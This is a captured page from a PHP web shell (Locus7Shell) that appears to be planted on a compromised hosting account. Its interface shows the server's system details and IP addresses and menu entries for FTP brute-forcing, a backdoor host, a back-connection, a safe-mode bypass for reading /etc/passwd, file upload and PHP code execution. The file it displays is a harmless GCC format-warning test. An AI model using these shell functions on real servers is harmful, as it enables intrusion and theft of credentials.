Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/format/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     array-1.c (1.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test for format checking of constant arrays.  */
/* Origin: Joseph Myers <jsm28@cam.ac.uk> */
/* { dg-do compile } */
/* { dg-options "-std=gnu99 -Wformat=2" } */

#include "format.h"

const char a1[] = "foo";
const char a2[] = "foo%d";
const char b1[3] = "foo";
const char b2[1] = "1";
static const char c1[] = "foo";
static const char c2[] = "foo%d";
char d[] = "foo";
volatile const char e[] = "foo";

void
foo (int i, long l)
{
  const char p1[] = "bar";
  const char p2[] = "bar%d";
  static const char q1[] = "bar";
  static const char q2[] = "bar%d";
  printf (a1);
  printf (a2, i);
  printf (a2, l); /* { dg-warning "11:format" "wrong type with array" } */
  printf (b1); /* { dg-warning "11:unterminated" "unterminated array" } */
  printf (b2); /* { dg-warning "11:unterminated" "unterminated array" } */
  printf (c1);
  printf (c2, i);
  printf (c2, l); /* { dg-warning "11:format" "wrong type with array" } */
  printf (p1);
  printf (p2, i);
  printf (p2, l); /* { dg-warning "11:format" "wrong type with array" } */
  printf (q1);
  printf (q2, i);
  printf (q2, l); /* { dg-warning "11:format" "wrong type with array" } */
  /* Volatile or non-constant arrays must not be checked.  */
  printf (d); /* { dg-warning "11:not a string literal" "non-const" } */
  printf ((const char *)e); /* { dg-warning "25:not a string literal" "volatile" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--